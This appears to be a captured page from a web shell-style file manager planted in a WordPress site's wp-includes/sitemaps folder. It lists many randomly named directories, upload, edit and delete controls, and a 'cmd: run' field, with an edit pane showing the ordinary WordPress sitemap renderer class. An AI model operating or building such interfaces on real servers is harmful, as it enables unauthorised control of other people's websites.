/
home
/
vianto5
/
duettowers.mx
/
wp-includes
/
sitemaps
/
/home/vianto5/duettowers.mx/wp-includes/sitemaps
mkdir
upload
Name
Size
Mode
Actions
1ceqxtp/
-
0755
rm
1uosgzt/
-
0755
rm
1wxyoge/
-
0755
rm
acxleug/
-
0755
rm
ainldsr/
-
0755
rm
brnctay/
-
0755
rm
bryzkwq/
-
0755
rm
buynwmf/
-
0755
rm
ctnxeyw/
-
0755
rm
d1zfghn/
-
0755
rm
dckomhw/
-
0755
rm
dgyjceq/
-
0755
rm
downqav/
-
0755
rm
ehk1sny/
-
0755
rm
euhjvnd/
-
0755
rm
evzuhqs/
-
0755
rm
ewgzcmf/
-
0755
rm
ewhiurc/
-
0755
rm
ezbtdav/
-
0755
rm
ezmqlsr/
-
0755
rm
fhisjkc/
-
0755
rm
fxct1qa/
-
0755
rm
fz1vykg/
-
0755
rm
gkrjusp/
-
0755
rm
hgdvfyk/
-
0755
rm
hqdeb1a/
-
0755
rm
htgsjcw/
-
0755
rm
hufl1ws/
-
0755
rm
huktlzo/
-
0755
rm
hurnl1i/
-
0755
rm
hwxkm1i/
-
0755
rm
ia1vkte/
-
0755
rm
icjkpwg/
-
0755
rm
ictexrj/
-
0755
rm
inhtrsz/
-
0755
rm
irgtyol/
-
0755
rm
iyklaxg/
-
0755
rm
jbpefkq/
-
0755
rm
jyhwgc1/
-
0755
rm
kevs1jf/
-
0755
rm
kfahosc/
-
0755
rm
kvyhzen/
-
0755
rm
kyqdpts/
-
0755
rm
kyzsev1/
-
0755
rm
lcazrby/
-
0755
rm
lepkuny/
-
0755
rm
lyijmgr/
-
0755
rm
mplwghd/
-
0755
rm
n1ijzsd/
-
0755
rm
nabhelq/
-
0755
rm
nfbwx1r/
-
0755
rm
nqjdhzs/
-
0755
rm
oepjvfh/
-
0755
rm
oipwbal/
-
0755
rm
oiusbdt/
-
0755
rm
oxausqp/
-
0755
rm
pfgmvzl/
-
0755
rm
powksir/
-
0755
rm
pqmezlo/
-
0755
rm
providers/
-
0755
rm
puxsckl/
-
0755
rm
pwdfbse/
-
0755
rm
pyignkj/
-
0755
rm
pyvjfol/
-
0755
rm
qibsdc1/
-
0755
rm
qlcofvx/
-
0755
rm
qljiwyr/
-
0755
rm
qthspwd/
-
0755
rm
qvtoauy/
-
0755
rm
rxulmje/
-
0755
rm
sehxmpv/
-
0755
rm
sinjbuc/
-
0755
rm
syjfnrw/
-
0755
rm
tbrxuji/
-
0755
rm
tkuoiah/
-
0755
rm
trspcqe/
-
0755
rm
twlapzb/
-
0755
rm
ufrysdq/
-
0755
rm
uonlbqf/
-
0755
rm
upksndo/
-
0755
rm
vzqktf1/
-
0755
rm
w1mcdzg/
-
0755
rm
weurmhv/
-
0755
rm
wlmjyrz/
-
0755
rm
wp1octm/
-
0755
rm
xgyonvl/
-
0755
rm
xhiylga/
-
0755
rm
xhqstnb/
-
0755
rm
xkznavg/
-
0755
rm
yqlfbxn/
-
0755
rm
yskwrzc/
-
0755
rm
yuhiaqe/
-
0755
rm
yvlzhpu/
-
0755
rm
yxczhtm/
-
0755
rm
zfdcjbr/
-
0755
rm
zhcrigy/
-
0755
rm
zkvfsab/
-
0755
rm
zlxojku/
-
0755
rm
zokxpja/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
class-wp-sitemaps-index.php
2010
0644
edit
dl
rm
class-wp-sitemaps-provider.php
4413
0644
edit
dl
rm
class-wp-sitemaps-registry.php
1934
0644
edit
dl
rm
class-wp-sitemaps-renderer.php
6687
0644
edit
dl
rm
class-wp-sitemaps-stylesheet.php
8520
0644
edit
dl
rm
class-wp-sitemaps.php
6402
0644
edit
dl
rm
Edit:
/home/vianto5/duettowers.mx/wp-includes/sitemaps/class-wp-sitemaps-renderer.php
(6687B)
<?php /** * Sitemaps: WP_Sitemaps_Renderer class * * Responsible for rendering Sitemaps data to XML in accordance with sitemap protocol. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Renderer * * @since 5.5.0 */ #[AllowDynamicProperties] class WP_Sitemaps_Renderer { /** * XSL stylesheet for styling a sitemap for web browsers. * * @since 5.5.0 * * @var string */ protected $stylesheet = ''; /** * XSL stylesheet for styling a sitemap for web browsers. * * @since 5.5.0 * * @var string */ protected $stylesheet_index = ''; /** * WP_Sitemaps_Renderer constructor. * * @since 5.5.0 */ public function __construct() { $stylesheet_url = $this->get_sitemap_stylesheet_url(); if ( $stylesheet_url ) { $this->stylesheet = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_url ) . '" ?>'; } $stylesheet_index_url = $this->get_sitemap_index_stylesheet_url(); if ( $stylesheet_index_url ) { $this->stylesheet_index = '<?xml-stylesheet type="text/xsl" href="' . esc_url( $stylesheet_index_url ) . '" ?>'; } } /** * Gets the URL for the sitemap stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap stylesheet URL. */ public function get_sitemap_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=sitemap' ); } /** * Filters the URL for the sitemap stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_url', $sitemap_url ); } /** * Gets the URL for the sitemap index stylesheet. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index stylesheet URL. */ public function get_sitemap_index_stylesheet_url() { global $wp_rewrite; $sitemap_url = home_url( '/wp-sitemap-index.xsl' ); if ( ! $wp_rewrite->using_permalinks() ) { $sitemap_url = home_url( '/?sitemap-stylesheet=index' ); } /** * Filters the URL for the sitemap index stylesheet. * * If a falsey value is returned, no stylesheet will be used and * the "raw" XML of the sitemap index will be displayed. * * @since 5.5.0 * * @param string $sitemap_url Full URL for the sitemaps index XSL file. */ return apply_filters( 'wp_sitemaps_stylesheet_index_url', $sitemap_url ); } /** * Renders a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. */ public function render_index( $sitemaps ) { header( 'Content-Type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $index_xml = $this->get_sitemap_index_xml( $sitemaps ); if ( ! empty( $index_xml ) ) { // All output is escaped within get_sitemap_index_xml(). echo $index_xml; } } /** * Gets XML for a sitemap index. * * @since 5.5.0 * * @param array $sitemaps Array of sitemap URLs. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_index_xml( $sitemaps ) { $sitemap_index = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '<?xml version="1.0" encoding="UTF-8" ?>', $this->stylesheet_index, '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />' ) ); foreach ( $sitemaps as $entry ) { $sitemap = $sitemap_index->addChild( 'sitemap' ); // Add each element as a child node to the <sitemap> entry. foreach ( $entry as $name => $value ) { if ( 'loc' === $name ) { $sitemap->addChild( $name, esc_url( $value ) ); } elseif ( 'lastmod' === $name ) { $sitemap->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for the sitemap index.' ), implode( ',', array( 'loc', 'lastmod' ) ) ), '5.5.0' ); } } } return $sitemap_index->asXML(); } /** * Renders a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. */ public function render_sitemap( $url_list ) { header( 'Content-Type: application/xml; charset=UTF-8' ); $this->check_for_simple_xml_availability(); $sitemap_xml = $this->get_sitemap_xml( $url_list ); if ( ! empty( $sitemap_xml ) ) { // All output is escaped within get_sitemap_xml(). echo $sitemap_xml; } } /** * Gets XML for a sitemap. * * @since 5.5.0 * * @param array $url_list Array of URLs for a sitemap. * @return string|false A well-formed XML string for a sitemap index. False on error. */ public function get_sitemap_xml( $url_list ) { $urlset = new SimpleXMLElement( sprintf( '%1$s%2$s%3$s', '<?xml version="1.0" encoding="UTF-8" ?>', $this->stylesheet, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" />' ) ); foreach ( $url_list as $url_item ) { $url = $urlset->addChild( 'url' ); // Add each element as a child node to the <url> entry. foreach ( $url_item as $name => $value ) { if ( 'loc' === $name ) { $url->addChild( $name, esc_url( $value ) ); } elseif ( in_array( $name, array( 'lastmod', 'changefreq', 'priority' ), true ) ) { $url->addChild( $name, esc_xml( $value ) ); } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: List of element names. */ __( 'Fields other than %s are not currently supported for sitemaps.' ), implode( ',', array( 'loc', 'lastmod', 'changefreq', 'priority' ) ) ), '5.5.0' ); } } } return $urlset->asXML(); } /** * Checks for the availability of the SimpleXML extension and errors if missing. * * @since 5.5.0 */ private function check_for_simple_xml_availability() { if ( ! class_exists( 'SimpleXMLElement' ) ) { add_filter( 'wp_die_handler', static function () { return '_xml_wp_die_handler'; } ); wp_die( sprintf( /* translators: %s: SimpleXML */ esc_xml( __( 'Could not generate XML sitemap due to missing %s extension' ) ), 'SimpleXML' ), esc_xml( __( 'WordPress › Error' ) ), array( 'response' => 501, // "Not implemented". ) ); } } }
Save
cmd:
run